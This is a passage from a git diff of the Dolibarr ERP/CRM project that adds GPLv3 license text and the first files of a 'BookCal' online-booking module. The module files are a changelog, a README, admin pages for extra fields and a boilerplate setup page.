+can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS diff --git a/htdocs/bookcal/ChangeLog.md b/htdocs/bookcal/ChangeLog.md new file mode 100644 index 00000000000..992a3d0842c --- /dev/null +++ b/htdocs/bookcal/ChangeLog.md @@ -0,0 +1,5 @@ +# CHANGELOG BOOKCAL FOR [DOLIBARR ERP CRM](https://www.dolibarr.org) + +## 1.0 + +Initial version diff --git a/htdocs/bookcal/README.md b/htdocs/bookcal/README.md new file mode 100644 index 00000000000..2077d7e1072 --- /dev/null +++ b/htdocs/bookcal/README.md @@ -0,0 +1,9 @@ +# BOOKCAL FOR [DOLIBARR ERP CRM](https://www.dolibarr.org) + +## Features + +Provide features to be able to record online booking. + + diff --git a/htdocs/bookcal/admin/availabilities_extrafields.php b/htdocs/bookcal/admin/availabilities_extrafields.php new file mode 100644 index 00000000000..190a44f339d --- /dev/null +++ b/htdocs/bookcal/admin/availabilities_extrafields.php @@ -0,0 +1,120 @@ + + * Copyright (C) 2003 Jean-Louis Bergamo + * Copyright (C) 2004-2011 Laurent Destailleur + * Copyright (C) 2012 Regis Houssin + * Copyright (C) 2014 Florian Henry + * Copyright (C) 2015 Jean-François Ferry + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file admin/availabilities_extrafields.php + * \ingroup bookcal + * \brief Page to setup extra fields of availabilities + */ + +// Load Dolibarr environment +require '../../main.inc.php'; + +require_once DOL_DOCUMENT_ROOT.'/core/class/extrafields.class.php'; +require_once '../lib/bookcal.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array('agenda', 'admin')); + +$extrafields = new ExtraFields($db); +$form = new Form($db); + +// List of supported format +$tmptype2label = ExtraFields::$type2label; +$type2label = array(''); +foreach ($tmptype2label as $key => $val) { + $type2label[$key] = $langs->transnoentitiesnoconv($val); +} + +$action = GETPOST('action', 'aZ09'); +$attrname = GETPOST('attrname', 'alpha'); +$elementtype = 'bookcal_availabilities'; //Must be the $table_element of the class that manage extrafield + +if (!$user->admin) { + accessforbidden(); +} + + +/* + * Actions + */ + +require DOL_DOCUMENT_ROOT.'/core/actions_extrafields.inc.php'; + + + +/* + * View + */ + +$textobject = $langs->transnoentitiesnoconv("Availabilities"); + +$help_url = ''; +$page_name = "BookCalSetup"; + +llxHeader('', $langs->trans("BookCalSetup"), $help_url); + + +$linkback = ''.$langs->trans("BackToModuleList").''; +print load_fiche_titre($langs->trans($page_name), $linkback, 'title_setup'); + + +$head = bookcalAdminPrepareHead(); + +print dol_get_fiche_head($head, 'availabilities_extrafields', $langs->trans($page_name), -1, 'fa-calendar-check'); + +require DOL_DOCUMENT_ROOT.'/core/tpl/admin_extrafields_view.tpl.php'; + +print dol_get_fiche_end(); + + +// Buttons +if ($action != 'create' && $action != 'edit') { + print '
      '; + print ''.$langs->trans("NewAttribute").''; + print "
      "; +} + + +/* + * Creation of an optional field + */ +if ($action == 'create') { + print '
      '; + print load_fiche_titre($langs->trans('NewAttribute')); + + require DOL_DOCUMENT_ROOT.'/core/tpl/admin_extrafields_add.tpl.php'; +} + +/* + * Edition of an optional field + */ +if ($action == 'edit' && !empty($attrname)) { + print "
      "; + print load_fiche_titre($langs->trans("FieldEdition", $attrname)); + + require DOL_DOCUMENT_ROOT.'/core/tpl/admin_extrafields_edit.tpl.php'; +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/admin/booking_extrafields.php b/htdocs/bookcal/admin/booking_extrafields.php new file mode 100644 index 00000000000..b4029a99338 --- /dev/null +++ b/htdocs/bookcal/admin/booking_extrafields.php @@ -0,0 +1,120 @@ + + * Copyright (C) 2003 Jean-Louis Bergamo + * Copyright (C) 2004-2011 Laurent Destailleur + * Copyright (C) 2012 Regis Houssin + * Copyright (C) 2014 Florian Henry + * Copyright (C) 2015 Jean-François Ferry + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file admin/booking_extrafields.php + * \ingroup bookcal + * \brief Page to setup extra fields of booking + */ + +// Load Dolibarr environment +require '../../main.inc.php'; + +require_once DOL_DOCUMENT_ROOT.'/core/class/extrafields.class.php'; +require_once '../lib/bookcal.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array('agenda', 'admin')); + +$extrafields = new ExtraFields($db); +$form = new Form($db); + +// List of supported format +$tmptype2label = ExtraFields::$type2label; +$type2label = array(''); +foreach ($tmptype2label as $key => $val) { + $type2label[$key] = $langs->transnoentitiesnoconv($val); +} + +$action = GETPOST('action', 'aZ09'); +$attrname = GETPOST('attrname', 'alpha'); +$elementtype = 'bookcal_booking'; //Must be the $table_element of the class that manage extrafield + +if (!$user->admin) { + accessforbidden(); +} + + +/* + * Actions + */ + +require DOL_DOCUMENT_ROOT.'/core/actions_extrafields.inc.php'; + + + +/* + * View + */ + +$textobject = $langs->transnoentitiesnoconv("Booking"); + +$help_url = ''; +$page_name = "BookCalSetup"; + +llxHeader('', $langs->trans("BookCalSetup"), $help_url); + + +$linkback = ''.$langs->trans("BackToModuleList").''; +print load_fiche_titre($langs->trans($page_name), $linkback, 'title_setup'); + + +$head = bookcalAdminPrepareHead(); + +print dol_get_fiche_head($head, 'booking_extrafields', $langs->trans($page_name), -1, 'fa-calendar-check'); + +require DOL_DOCUMENT_ROOT.'/core/tpl/admin_extrafields_view.tpl.php'; + +print dol_get_fiche_end(); + + +// Buttons +if ($action != 'create' && $action != 'edit') { + print '
      '; + print ''.$langs->trans("NewAttribute").''; + print "
      "; +} + + +/* + * Creation of an optional field + */ +if ($action == 'create') { + print '
      '; + print load_fiche_titre($langs->trans('NewAttribute')); + + require DOL_DOCUMENT_ROOT.'/core/tpl/admin_extrafields_add.tpl.php'; +} + +/* + * Edition of an optional field + */ +if ($action == 'edit' && !empty($attrname)) { + print "
      "; + print load_fiche_titre($langs->trans("FieldEdition", $attrname)); + + require DOL_DOCUMENT_ROOT.'/core/tpl/admin_extrafields_edit.tpl.php'; +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/admin/setup.php b/htdocs/bookcal/admin/setup.php new file mode 100644 index 00000000000..e3addec83e3 --- /dev/null +++ b/htdocs/bookcal/admin/setup.php @@ -0,0 +1,562 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file bookcal/admin/setup.php + * \ingroup bookcal + * \brief BookCal setup page. + */ + +// Load Dolibarr environment +require '../../main.inc.php'; + +global $langs, $user; + +// Libraries +require_once DOL_DOCUMENT_ROOT."/core/lib/admin.lib.php"; +require_once '../lib/bookcal.lib.php'; +//require_once "../class/myclass.class.php"; + +// Translations +$langs->loadLangs(array("admin", "agenda")); + +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('bookcalsetup', 'globalsetup')); + +// Access control +if (!$user->admin) { + accessforbidden(); +} + +// Parameters +$action = GETPOST('action', 'aZ09'); +$backtopage = GETPOST('backtopage', 'alpha'); +$modulepart = GETPOST('modulepart', 'aZ09'); // Used by actions_setmoduleoptions.inc.php + +$value = GETPOST('value', 'alpha'); +$label = GETPOST('label', 'alpha'); +$scandir = GETPOST('scan_dir', 'alpha'); +$type = 'myobject'; + + +$error = 0; +$setupnotempty = 0; + +// Set this to 1 to use the factory to manage constants. Warning, the generated module will be compatible with version v15+ only +$useFormSetup = 1; + +if (!class_exists('FormSetup')) { + // For retrocompatibility Dolibarr < 16.0 + if (floatval(DOL_VERSION) < 16.0 && !class_exists('FormSetup')) { + require_once __DIR__.'/../backport/v16/core/class/html.formsetup.class.php'; + } else { + require_once DOL_DOCUMENT_ROOT.'/core/class/html.formsetup.class.php'; + } +} + +$formSetup = new FormSetup($db); + + +// Hôte +$item = $formSetup->newItem('NO_PARAM_JUST_TEXT'); +$item->fieldOverride = (empty($_SERVER['HTTPS']) ? 'http://' : 'https://') . $_SERVER['HTTP_HOST']; +$item->cssClass = 'minwidth500'; + +// Setup conf BOOKCAL_MYPARAM1 as a simple string input +$item = $formSetup->newItem('BOOKCAL_MYPARAM1'); +$item->defaultFieldValue = 'default value'; + +// Setup conf BOOKCAL_MYPARAM1 as a simple textarea input but we replace the text of field title +$item = $formSetup->newItem('BOOKCAL_MYPARAM2'); +$item->nameText = $item->getNameText().' more html text '; + +// Setup conf BOOKCAL_MYPARAM3 +$item = $formSetup->newItem('BOOKCAL_MYPARAM3'); +$item->setAsThirdpartyType(); + +// Setup conf BOOKCAL_MYPARAM4 : exemple of quick define write style +$formSetup->newItem('BOOKCAL_MYPARAM4')->setAsYesNo(); + +// Setup conf BOOKCAL_MYPARAM5 +$formSetup->newItem('BOOKCAL_MYPARAM5')->setAsEmailTemplate('thirdparty'); + +// Setup conf BOOKCAL_MYPARAM6 +$formSetup->newItem('BOOKCAL_MYPARAM6')->setAsSecureKey()->enabled = 0; // disabled + +// Setup conf BOOKCAL_MYPARAM7 +$formSetup->newItem('BOOKCAL_MYPARAM7')->setAsProduct(); + +$formSetup->newItem('Title')->setAsTitle(); + +// Setup conf BOOKCAL_MYPARAM8 +$item = $formSetup->newItem('BOOKCAL_MYPARAM8'); +$TField = array( + 'test01' => $langs->trans('test01'), + 'test02' => $langs->trans('test02'), + 'test03' => $langs->trans('test03'), + 'test04' => $langs->trans('test04'), + 'test05' => $langs->trans('test05'), + 'test06' => $langs->trans('test06'), +); +$item->setAsMultiSelect($TField); +$item->helpText = $langs->transnoentities('BOOKCAL_MYPARAM8'); + + +// Setup conf BOOKCAL_MYPARAM9 +$formSetup->newItem('BOOKCAL_MYPARAM9')->setAsSelect($TField); + + +// Setup conf BOOKCAL_MYPARAM10 +$item = $formSetup->newItem('BOOKCAL_MYPARAM10'); +$item->setAsColor(); +$item->defaultFieldValue = '#FF0000'; +$item->nameText = $item->getNameText().' more html text '; +$item->fieldInputOverride = ''; +$item->helpText = $langs->transnoentities('AnHelpMessage'); +//$item->fieldValue = ''; +//$item->fieldAttr = array() ; // fields attribute only for compatible fields like input text +//$item->fieldOverride = false; // set this var to override field output will override $fieldInputOverride and $fieldOutputOverride too +//$item->fieldInputOverride = false; // set this var to override field input +//$item->fieldOutputOverride = false; // set this var to override field output + + +$setupnotempty =+ count($formSetup->items); + + +$dirmodels = array_merge(array('/'), (array) $conf->modules_parts['models']); + + +/* + * Actions + */ + +// For retrocompatibility Dolibarr < 15.0 +if ( versioncompare(explode('.', DOL_VERSION), array(15)) < 0 && $action == 'update' && !empty($user->admin)) { + $formSetup->saveConfFromPost(); +} + +include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; + +if ($action == 'updateMask') { + $maskconst = GETPOST('maskconst', 'aZ09'); + $maskvalue = GETPOST('maskvalue', 'alpha'); + + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { + $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); + if (!($res > 0)) { + $error++; + } + } + + if (!$error) { + setEventMessages($langs->trans("SetupSaved"), null, 'mesgs'); + } else { + setEventMessages($langs->trans("Error"), null, 'errors'); + } +} elseif ($action == 'specimen') { + $modele = GETPOST('module', 'alpha'); + $tmpobjectkey = GETPOST('object'); + + $tmpobject = new $tmpobjectkey($db); + $tmpobject->initAsSpecimen(); + + // Search template files + $file = ''; $classname = ''; $filefound = 0; + $dirmodels = array_merge(array('/'), (array) $conf->modules_parts['models']); + foreach ($dirmodels as $reldir) { + $file = dol_buildpath($reldir."core/modules/bookcal/doc/pdf_".$modele."_".strtolower($tmpobjectkey).".modules.php", 0); + if (file_exists($file)) { + $filefound = 1; + $classname = "pdf_".$modele."_".strtolower($tmpobjectkey); + break; + } + } + + if ($filefound) { + require_once $file; + + $module = new $classname($db); + + if ($module->write_file($tmpobject, $langs) > 0) { + header("Location: ".DOL_URL_ROOT."/document.php?modulepart=bookcal-".strtolower($tmpobjectkey)."&file=SPECIMEN.pdf"); + return; + } else { + setEventMessages($module->error, null, 'errors'); + dol_syslog($module->error, LOG_ERR); + } + } else { + setEventMessages($langs->trans("ErrorModuleNotFound"), null, 'errors'); + dol_syslog($langs->trans("ErrorModuleNotFound"), LOG_ERR); + } +} elseif ($action == 'setmod') { + // TODO Check if numbering module chosen can be activated by calling method canBeActivated + $tmpobjectkey = GETPOST('object'); + if (!empty($tmpobjectkey)) { + $constforval = 'BOOKCAL_'.strtoupper($tmpobjectkey)."_ADDON"; + dolibarr_set_const($db, $constforval, $value, 'chaine', 0, '', $conf->entity); + } +} elseif ($action == 'set') { + // Activate a model + $ret = addDocumentModel($value, $type, $label, $scandir); +} elseif ($action == 'del') { + $ret = delDocumentModel($value, $type); + if ($ret > 0) { + $tmpobjectkey = GETPOST('object'); + if (!empty($tmpobjectkey)) { + $constforval = 'BOOKCAL_'.strtoupper($tmpobjectkey).'_ADDON_PDF'; + if ($conf->global->$constforval == "$value") { + dolibarr_del_const($db, $constforval, $conf->entity); + } + } + } +} elseif ($action == 'setdoc') { + // Set or unset default model + $tmpobjectkey = GETPOST('object'); + if (!empty($tmpobjectkey)) { + $constforval = 'BOOKCAL_'.strtoupper($tmpobjectkey).'_ADDON_PDF'; + if (dolibarr_set_const($db, $constforval, $value, 'chaine', 0, '', $conf->entity)) { + // The constant that was read before the new set + // We therefore requires a variable to have a coherent view + $conf->global->$constforval = $value; + } + + // We disable/enable the document template (into llx_document_model table) + $ret = delDocumentModel($value, $type); + if ($ret > 0) { + $ret = addDocumentModel($value, $type, $label, $scandir); + } + } +} elseif ($action == 